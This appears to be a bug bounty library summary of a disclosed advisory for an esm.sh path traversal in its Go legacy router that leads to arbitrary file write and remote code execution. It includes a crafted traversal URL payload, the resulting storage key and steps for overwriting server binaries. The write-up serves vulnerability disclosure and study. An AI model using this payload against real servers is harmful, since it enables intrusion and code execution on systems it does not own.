# esm.sh: Legacy Route Path Traversal Can Lead to RCE

esm.sh legacy router concatenates unsanitized path segments into a storage key, letting a crafted URL write attacker-fetched content to any writable path, enabling RCE.

- Payout: Research
- Severity: high
- Program: esm.sh
- Found by: splitline
- Disclosed: 2026-05-12
- CVE: CVE-2026-44593
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3636-h3vx-6465
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3636-h3vx-6465
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:go technique:legacy-endpoint technique:source-review vuln:path-traversal vuln:rce

**Target:** legacy HTTP router / build storage (Go server)
**Root cause:** The legacy router parses the request path and concatenates components into a storage key without sanitizing `..` segments, so the filesystem resolves relative traversal when buildStorage.Put writes the file.
**Steps:**
1. Send request to `http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned`
2. Router proxies to legacy.esm.sh which resolves to `http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md` and fetches attacker-controlled file
3. Storage key becomes `legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned`
4. Path normalizes to `/tmp/pwned`; fetched content is written there via buildStorage.Put
5. Repeat to overwrite binaries/scripts for RCE
**Exploitation:** Attacker hosts a file in a public GitHub repo, crafts a traversal URL whose storage key normalizes to a target path, and the server fetches the file then writes it to that path. Overwriting executables/scripts yields code execution with server privileges.
**Escalation:** Arbitrary file write escalated to RCE by overwriting critical binaries or scripts.
**Insight:** Legacy/compat routers that build storage keys by string-concatenating request path segments are prime traversal targets; the `#` fragment plus encoded `..%2f` survives proxy normalization and only resolves at the filesystem layer.

## Proof of concept (copied exactly from the original report)

**Resulting storage key with traversal segments**

```
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
```

